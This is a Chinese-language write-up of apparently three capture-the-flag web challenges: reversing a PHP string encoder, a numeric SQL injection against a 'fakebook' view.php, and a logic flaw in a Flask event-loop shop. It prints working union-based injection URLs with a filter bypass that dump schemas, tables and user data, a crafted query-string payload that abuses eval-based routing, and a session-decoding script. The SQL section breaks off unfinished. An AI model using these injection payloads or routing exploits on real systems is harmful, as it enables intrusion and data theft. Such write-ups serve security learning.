进入环境得到源码
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
strrev#反转字符串
substr#返回字符串的子串
ord#返回一个字母的ASCII码值
chr#从指定的ascii码值返回字符
str_rot13()#一种编码解码函数
我们写程序将这个算法逆向推出
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=base64_decode(strrev(str_rot13($miwen)));
$m=$miwen;
for($i=0;$i<strlen($m);$i++){
$_c=substr($m,$i,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
?>
获得flag
进入环境一个登录界面尝试使用万能密码直接登录,不行还是去注册一个账号再说
点击用户名进去发现一个疑似注入点的地方
我们尝试3-2得到回显几乎确定为数字型sql注入
order by4可以by5发现不行说明有四列
尝试联合注入失败过滤了东西
经过手测发现应该是过滤了union select 而且不区分大小写,我们试试用union++select绕过
成功我们尝试爆出数据库
view.php?no=-1%20union++select%201,group_concat(schema_name),3,4%20from%20information_schema.schemata#
估计有价值的东西就在fakebook这个数据库中我们继续深入查表
view.php?no=-1%20union++select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27#
接下来我们继续查字段
view.php?no=-1%20union++select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27#
查字段值
view.php?no=-1%20union++select%201,group_concat(data),3,4%20from%20fakebook.users#
发现查出来的内容为反序列化的内容
这就有点烦了,我到这里暂时没有思路,只能尝试去扫一下目录
发现flag.php我尝试一下能不能使用load_file将他读出来
进入环境每个页面浏览一下
最上面说我有多少个钻石,多少积分
点击Go-to e-shop,就可以使用一个积分买一个钻石,原来做的这种类型的题目都是抓包修改余额但这题有点不一样
最上面有个view source code估计是源码我们去看看
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'
def FLAG():
return '*********************' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException:
pass
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled.
'
resp += 'Go back to index.html
'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.
'.format(
session['num_items'], session['points'])
if page == 'index':
html += 'View source code
'
html += 'Go to e-shop
'
html += 'Reset
'
elif page == 'shop':
html += 'Buy a diamond (1 point)
'
elif page == 'reset':
del session['num_items']
html += 'Session reset.
'
html += 'Go back to index.html
'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += 'Download this .py file
'
html += 'Go back to index.html
'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' '*4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '
')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;)
'
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
这里execute_event_loop起到路由功能。对URL中参数进行分割等。然后执行对应的函数。
我们再去看一下获得flag的位置
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
如果session[‘num_items’]>=5那么就执行trigger_event,我们再去看一下trigger_event是干什么的
def trigger_event(event):
session['log'].append(event)
#trigger_event('func:show_flag;'+FLAG())
#func:show_flag;flag{********}
#将返回结果写入session中,flask采用的是jwt所以可以解密
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
将要执行的函数和参数放入request队列中。然后依次执行
也就是说。我们要满足session[num_items]=5。继续看num_items在哪里可以加
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
以buy_handler(1)这样购买。然后num_item就会+1,会把func:consume_point;num_items传入队列执行执行的是consume_point_function(num_items)
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
作用是判断session中的points是否小于我们想要购买的数量。如果小于。那么就再减掉
就是。我们购买5个flag。但是。只有3个金币。它会先购买5个。然后判断钱是不是够。不够就再减去
OK。现在大致思路就搞懂了。execute_event_loop函数。接收输入。决定执行什么函数。
执行函数时。会把函数加入队列。然后再从队列中取出按顺序执行
如果我们直接调用buy_flag(5)。先将buy_flag(5)执行。然后再执行判断。如果钱不够就会减掉。
我们再来仔细看看execute_event_loop函数处理路由的过程
action(函数名)是第一个冒号后面的值。然后截取出来的字符串。再截取分号前面的值
参数是取函数名+分号后面的值。用#来分割。作为参数,思路如下,我们重复写就能构造一个参数。然后带入eval执行
构造payload
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
应该flag已经写入session了我们抓个包然后解密即可
解密脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
解密下面这串字符
即可获得flag
python3 jiemi.py ".eJyNjU8LgjAchr9K_M4e5kREwUtQVjQlqDYXEZr9d0tYpi387nmJCDx4e-F5eN435PcTeJvNGwYpeBDTECXULSMxMw9L9YLG6Ca6i2R5NnZFGoxlVPn-z4Bma3wfuFyXsS6uKbZ1Rs2cWcNnQm0U6anf0ZS84GzvtMaNs5Pfr0R6lv5DOglci2GuYrp3uKjP3FI6uy5qpkNMsI2YHlVkMjzGK_vWemSxDucMk2qJVc0Z6nkKshS7y-MgFHjIgOJ-kY92Ws0H4UZ8Qw.YdZ5DQ.SWVYOdGtO4vqrWSe4v7GytXqMDU"
运行脚本获得flag,这题大概懂了但有些细节还是有点不明白后续再看看